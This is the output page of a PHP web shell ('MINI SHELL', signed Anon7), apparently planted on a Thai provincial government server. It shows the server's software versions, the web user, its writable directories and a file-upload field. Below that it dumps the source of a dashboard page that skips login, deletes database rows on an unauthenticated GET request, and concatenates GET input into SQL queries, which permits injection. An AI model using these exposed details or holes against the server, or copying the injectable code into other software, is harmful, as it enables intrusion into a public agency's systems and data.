MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/indicator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/indicator/index_preview.php
<? session_start() ; 
$timebegin = microtime(true);
$nochecklogin=true;
#START
###### This Program is copyright Sapphire Research and Development co.,ltd ########
$ApplicationName	= "demo1";
$module_code 		= "demo1"; 
$process_id			= "demo1";
$VERSION 				= "1";
$BypassAPP 			= true;
$pagename="dashboard";

//$_SESSION[secid];
	###################################################################
	## COMPETENCY  MANAGEMENT SUPPORTING SYSTEM
	###################################################################
	## Version :		20090703.001 (Created/Modified; Date.RunNumber)
	## Created Date :		2009-07-03 09:49
	## Created By :		MR.TANAPAT TABOONDEE
	## E-mail :			
	## Tel. :			
	## Company :		Sappire Research and Development Co.,Ltd. (C)All Right Reserved
	###################################################################
	## Version :		20090703.002
	## Modified Detail :		˹ѧÊ×ͤÓÊÑè§
	## Modified Date :		2009-07-03 09:49
	## Modified By :		MR.TANAPAT TABOONDEE
###################################################################


set_time_limit(0) ; 
include("../../config/config_epm.inc.php");

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../hr3/libary/style.css" type="text/css" rel="stylesheet">
<link href="../hr3/hr_report/images/style.css" type="text/css" rel="stylesheet">
<link href="../hr3/hr_report/images/style.css" type="text/css" rel="stylesheet" />
<link href="../libary/style.css" type="text/css" rel="stylesheet">
<link href="../hr_report/images/style.css" type="text/css" rel="stylesheet">
<title>ÃкººÑ¹·Ö¡Ë¹Ñ§Ê×ͤÓÊÑè§áÅкѭªÕṺ</title>
<script type="text/javascript" src="js/jquery-1.3.2.js"></script> 
<script type="text/javascript" src="js/jquery.tablednd.js"></script>		 

<script type="text/javascript">
			$(document).ready(function() {	
				$("#jabb").tableDnD({
				onDrop: function(table, row) {						
						$("#jab").load("update_order.php?"+$.tableDnD.serialize());
					}
				});
			});
</script>
<script language="javascript">
	function mOvr(src,clrOver){ 
		if (!src.contains(event.fromElement)) src.bgColor = clrOver; 
	} 
	
	function mOut(src,clrIn){ 
		if (!src.contains(event.toElement)) src.bgColor = clrIn; 
	} 
	
	function hideSearch( my_id ){
		if( document.getElementById( my_id ).style.display == "none" ){
			document.getElementById( my_id ).style.display = "block";
			document.getElementById( "IM_"+my_id ).src = "img/folder-explorer-32x32.png";
			document.getElementById( "IM_"+my_id ).title = "«è͹¡Òäé¹ËÒ";
		}else{
			document.getElementById( my_id ).style.display = "none";
			document.getElementById( "IM_"+my_id ).src = "img/folder-explorer-32x32.png";
		document.getElementById( "IM_"+my_id ).title = "áÊ´§¡Òäé¹ËÒ";
		}
	}
		
	function demoDeleteConfirm(index_name,url)
	{
		if(confirm("Â×¹Âѹź  \"" + index_name+"\""))
		{
			window.location = url;
		}
	}
	
	function editConfirm(url)
	{
		window.location = url;
	}
	
</script>
<style type="text/css">
<!--
A:link {
	FONT-SIZE: 12px;color: #000000;	FONT-FAMILY: Tahoma,  "Microsoft Sans Serif";TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:visited {
	FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:active {
	FONT-SIZE: 12px; COLOR: #014d5f; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:hover {
	FONT-SIZE: 12px; COLOR: #f3960b; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
-->
</style>
<script type="text/javascript">
document.write('<style type="text/css">.tabber{display:none;}<\/style>');
</script>
</head>
<body>

<?php
	function searchReplace($key="", $data = ""){
		$replace = '<span style="background:#FFCC99;">'.$key.'</span>';
		$data_replace = str_replace($key,$replace,$data);
		return $data_replace;
	}
	
	if($_GET['action'] == "delete")
	{
		$runid=$_GET['runid'];
	
		$sql = "DELETE FROM indicator WHERE runid='$runid' ";
		$ret = mysql_db_query($dbname,$sql);
		print"<meta http-equiv=\"refresh\" content=\"0;URL=index.php\">\n";
	}	

	$cond="";
	$cond_exsum = "";
	
	if($_GET['p'] == ''){

		//### à§×è͹ä¢à×Á×èÍ¡´ link ·Õè exsum
	
		
		if($_GET[index_name_search] != "")
		{
			$cond.= " AND index_name like('%".$_GET[index_name_search]."%') ";
			$cond_exsum.= " AND i.index_name like('%".$_GET[index_name_search]."%') ";
		}
		
		if($_GET[source_search] != "")
		{
			$cond.= " AND source like('%".$_GET[source_search]."%') ";
			$cond_exsum.=" AND i.source like('%".$_GET[source_search]."%') ";
		}
		
		if($_GET[upd_freq_search] != "")
		{
			$cond.= " AND upd_freq ='".$_GET[upd_freq_search]."' ";
			$cond_exsum.=" AND i.upd_freq ='".$_GET[upd_freq_search]."' ";
		}

		$strSQL = "SELECT i.*,f.freq_name FROM indicator i LEFT JOIN indicator_frequency f ON i.upd_freq=f.runid WHERE 1=1 ".$cond." ORDER BY i.createdtime";
		$rsConn = mysql_db_query($dbname,$strSQL);	
		$Rows = mysql_num_rows($rsConn);
	}
?>

<table width="100%" border="0" cellspacing="5" cellpadding="0">
    <tr>
    <td colspan="2" align="left"><br />
      <?
	//include "exsum.php";
	?></td>
  </tr>
  <tr>
    <td colspan="2">
	<?php
	if($_GET['b_search']){
	?>	
	<table width="100%" border="0" cellpadding="0" cellspacing="2" bgcolor="#E6E6E6" align="center" style="border:1px solid #5595CC;">
	<tr align="right">
	<td >
	
		<strong>¤é¹ËÒ¤ÓÇèÒ</strong>
		&nbsp; <?php
		$critiria = $_GET[index_name_search] != ""? " µÑǪÕéÇÑ´ :'<strong>".$_GET[index_name_search]."</strong>' /":"";
		$critiria .= $_GET[source_search] != ""? " áËÅè§¢éÍÁÙÅ :'<strong>".$_GET[source_search]."</strong>' /":"";
		$critiria .= $_GET[upd_freq_name_search] != ""? " ¤ÇÒÁ¶Õè㹡ÒÃÍѾവ¢éÍÁÙÅ:'<strong>".$_GET[upd_freq_name_search]."</strong>' /":"";
		$critiria = substr($critiria,0,strlen($critiria)-1);
		echo ($critiria);
		?></td>
</tr>
<tr align="right">
	<td height="20">
	<?php
		$timefinish = microtime(true);
		$timediff = $timefinish-$timebegin;

	?>
	ÃÒ¡ÒõÑǪÕéÇÑ´·Ñé§ÊÔé¹ <strong><?=number_format($Rows)?></strong> ÃÒ¡ÒÃ
	(ãªéàÇÅÒ㹡ÒûÃÐÁÇżšè͹¡ÒÃáÊ´§  <?=number_format($timediff,4)?> ÇÔ¹Ò·Õ)&nbsp;</td>
</tr>
</table>
    <strong>
    <?=$stime?>
    </strong>    
	<?php
	}

?></td>
  </tr>
  <tr>
    <td colspan="2">
<table width="100%" border="0">
  <tr>
    <td width="65%"  align="left">
	
<?php
	 	$rsConn = mysql_db_query($dbname,$strSQL);
		$all_row = mysql_num_rows($rsConn);
		$board_row_per_page = 15;
		$total_page = ceil($all_row/$board_row_per_page);
		$page = ($_GET['page'])?$_GET['page']:1;
		$page = ($page > $total_page)?$total_page:$page;
		$page = ($page <= 0)?1:$page;
		$limit_start = ($page==1)?0:(($page*$board_row_per_page)-$board_row_per_page);
		$limit_end = $board_row_per_page;
		if($View==''){
			$strSQL .= " LIMIT ".$limit_start.", ".$limit_end;
			$num = $limit_start ;
		}
		
		if(isset($cols)&&isset($sort)){
			$solink="&cols=$cols&sort=$sort";
		}
		
		$text_search =  ($_GET['b_search'])?"b_search=¤é¹ËÒ&letter_code_search=".$_GET['letter_code_search']."&letter_code2_search=".$_GET['letter_code2_search']."&letter_name_search=".$_GET['letter_name_search']."&letter_secname_search=".$_GET['letter_secname_search']."&LetterType_search=".$_GET['LetterType_search']."&name_search=".$_GET['name_search']."&letter_surname_search=".$_GET['letter_surname_search']."&date_order=".$_GET['date_order']."&date_order2=".$_GET['date_order2']:"";
		$prev_page = $page - 1; $prev_page = ($prev_page <= 1)?1:$prev_page;
		$prev = "self.location='".$PHP_SELF."?".$text_search."&search=$search&page=$prev_page$link$solink'";
		$next_page = $page + 1; $next_page = ($next_page >= $total_page)?$total_page:$next_page;
		$next = "self.location='".$PHP_SELF."?".$text_search."&search=$search&page=$next_page$link$solink'";
		
		$prev_Tenpage=$page-$board_row_per_page;$prev_Tenpage=($prev_Tenpage<= 1)?1:$prev_Tenpage;
		$prevTen = "self.location='".$PHP_SELF."?".$text_search."&search=$search&page=$prev_Tenpage$link$solink'";
		$nextTenPage=$page+$board_row_per_page;$next_TenPage=($next_TenPage >= $total_page)?$total_page:$next_TenPage;
		$nextTen = "self.location='".$PHP_SELF."?".$text_search."&search=$search&page=$nextTenPage$link$solink'";
	?>
	<? if($View==""){$Klink="?".$text_search."&View=All"; $CSh="¢éÍÁÙÅ·Ñé§ËÁ´"; $Klink2="?".$text_search."&View=";}else{$Klink="?".$text_search."&View=";$CSh="¢éÍÁÙÅ ".$board_row_per_page." ÃÒ¡ÒÃÅèÒÊØ´";$Klink2="?".$text_search."&View=All";}?>
	·Ñé§ËÁ´ <b> <font color="#CC0000">
	<?=number_format($all_row);?>
	</font> </b> ÃÒ¡ÒÃ
	<? if($View==""){?>
	áºè§à»ç¹ <b><font color="#0033CC">
	<?=number_format($total_page);?>
	</font></b> ˹éÒ
	<? }?>
	&nbsp;&nbsp;<a href="<?=$Klink?>"><img src="img/Search-Add.gif" alt="<?=$CSh?>" width="16" height="16" border="0" /></a>&nbsp;&nbsp;&nbsp;&nbsp;
		  <? if($View==''){?>
			<?  if($page==1){?>
			<img src="img/page_div_icon/xFirst.gif" />
			<? }else{?>
			<img src="img/page_div_icon/First.gif" align="absmiddle" border="0" width="10" height="12"  onclick="<?=$prevTen;?>" onMouseOver="style.cursor='hand';"/>
			<? }?>
	&nbsp;
	<?  if($page==1){?>
	<img src="img/page_div_icon/xPrevious.gif" />
	<? }else{?>
	<img src="img/page_div_icon/Previous.gif" align="absmiddle" border="0" width="7" height="12"  onclick="<?=$prev;?>" onMouseOver="style.cursor='hand';"/>
	<? }?>
	<?php
	$board_link_num = $board_row_per_page;
	$ii = 1;
	if ( $board_link_num > $total_page ){
		$loop_page = $total_page;
	
	} else {
		$bx = ceil($board_link_num / 2);
		$pp = $page - $bx;
		$pn = $page + $bx;
		$loop_page = $pn;
		$ii = $pp;
		if ( $total_page <= $loop_page ) {
			$loop_page = $total_page;
			$ii = $loop_page - ($board_link_num -1);
		}
		if ( $ii < 1 ) {
			$ii = 1;
			$loop_page = $ii + ($board_link_num -1);
		}
	}
	
	for($i=$ii;$i<=$loop_page;$i++){
		if ( $i==$page || !$page ) {
			$txt = "<b>$i</b>";
		} else {
			$txt = $i;
	
		}
	?>
	<a href="<?=$PHP_SELF;?>?Sort=<?=$Sort;?>&search=<?=$search?>&<?=$text_search?>&page=<?=$i;?>"><?=$txt;?>
	</a>
	<?
	} # for
	?>
	<? if($page==$loop_page){?>
	<img src="img/page_div_icon/xNext.gif" />
	<? }else{?>
	<img src="img/page_div_icon/Next.gif" align="absmiddle" border="0" width="7" height="12" onClick="<?=$next;?>" onMouseOver="style.cursor='hand';"/>
	<? }?>
	&nbsp;
	<? if($page==$loop_page){?>
	<img src="img/page_div_icon/xLast.gif" />

	<? }else{?>
	<img src="img/page_div_icon/Last.gif" align="absmiddle" border="0" width="10" height="12" onClick="<?=$nextTen;?>" onMouseOver="style.cursor='hand';"/>
	<? 
		} 
	}#End View=
		?>	</td>
    <td width="35%" align="right"><a href="insert_master.php">
      <input type="button" name="btn_add" value= "à¾ÔèÁµÑǪÕéÇÑ´" style="display:none" onclick="window.location='insert_master.php';"/>    </td>
	    </tr>
</table>

	<table id="jabb" border="0" width="100%" cellspacing="1" cellpadding="2" bgcolor="black" align="center" style="margin-top:5px; margin-bottom:5px;">
      <tr bgcolor="#A3B2CC" align="center" >
        <td width="40" rowspan="2"><strong>ÅӴѺ</strong></td>
        <td rowspan="2"><strong>µÑǪÕéÇÑ´</strong></td>
        <td width="100" height="24" rowspan="2"><strong>áËÅè§¢éÍÁÙÅ/<br />˹èǧҹ<br />·ÕèÃѺ¼Ô´ªÍº</strong></td>
        <td height="24" colspan="5"><strong>¢éÍÁÙżšÒôÓà¹Ô¹§Ò¹Âé͹ËÅѧ <br />
        áÅлѨ¨ØºÑ¹»Õ ¾.È. <?=date('Y')+543?></strong></td>
		<td width="50" height="24" rowspan="2" ><strong></strong><strong>¤ÇÒÁ¶Õè㹡Òà update <br />¢éÍÁÙÅ</strong></td>
		<td width="100" height="24" rowspan="2" ><strong></strong><strong>ËÁÒÂà˵Ø</strong></td>
		</tr>
      <tr bgcolor="#A3B2CC" align="center" >
          <?
			$yy = date("Y")+543;
			$yy_global = $yy;
		?>
	 
        <td width="50" height="24"> <strong><?= $yy-4?></strong></td>
		<td width="50"><strong><?= $yy-3?></strong></td>
		<td width="50"><strong><?= $yy-2?></strong></td>
		<td width="50"><strong><?= $yy-1?></strong></td>
		<td width="50"><strong>
		
		  <?= $yy?>
		</strong></td>
		</tr>
<?
if($_GET['debug']=="on"){echo $strSQL; }

	$rsConn = mysql_db_query($dbname,$strSQL);
	//echo "<br>num rows:".mysql_num_rows($rsConn);
	
	while ( $Result = mysql_fetch_assoc($rsConn) ) {
		$intA += 1;
		$color = ( $intA % 2 == 0 ) ? "#DDDDDD" : "#EFEFEF" ;
		$rowNumb = ($intA+($board_link_num*$page)-$board_link_num);
?>
      <tr  id="<?=$Result['runid']?>" align="center" bgcolor="<?=$color?>" onmouseover="this.style.backgroundColor='#dbf2ae'" onmouseout="this.style.backgroundColor='<?=$color?>'">
        <td><?=$rowNumb?></td>
        <td>
		  <div align="left">
		    &nbsp;<?=searchReplace($_GET[index_name_search],$Result['index_name']) ?>
	      </div></td>
        <td>&nbsp;<?=searchReplace($_GET[source_search],$Result['source'])?> </td>
		          <?
			$runid = $Result[runid];//from table indicator
			$strsql_point = " SELECT * FROM indicator i INNER JOIN indicator_detail id ON i.runid = id.indicator_id ";
			$strsql_point .= " WHERE i.runid = '$runid'";
			$strsql_point .= " ORDER BY i.createdtime DESC LIMIT 5";
			
			$rsConn_Point = mysql_query($strsql_point);
			$i=0;
			
			unset($point);
			
			$yyyy=$yy_global;
			$sum_cnt_upd_freq=0;
			$arr = array();
			
			while ( $ResPoint = mysql_fetch_array($rsConn_Point)) {
				$sum_cnt_upd_freq=$ResPoint['upd_freq'];
				$yyyy=$yy_global;
				if($ResPoint[score_type]=="1")
				{
					$arr[$ResPoint[y_text]] =  $ResPoint[score];
				}else{
					$arr[$ResPoint[y_text]] =  $ResPoint[score_remark];
				}
			}
			
?>
		 <td align="center"><?=$arr[$yyyy-4]?>	</td>
		 <td align="center"><?=$arr[$yyyy-3] ?></td>
		 <td align="center"><?=$arr[$yyyy-2] ?></td>
		 <td align="center"><?=$arr[$yyyy-1] ?></td>
		 <td align="center"><?=$arr[$yyyy] ?></td>
        <td align="left">
		  <div align="center">
		    <?=searchReplace($_GET[upd_freq_name_search],$Result[freq_name]) ?>	
	      </div></td>
		<td align="left">&nbsp;<?=$Result[remark] ?></td>
			<?
			$url_delete = "?action=delete&runid=".$Result[runid];
			$url_update = "insert_master.php?action=update&runid=".$Result[runid];
			?>
		</tr>
<?
	
	} //end while
	
?>
    </table>
<br />    </td>
  </tr>
</table>

</body>
</html>

Anon7 - 2021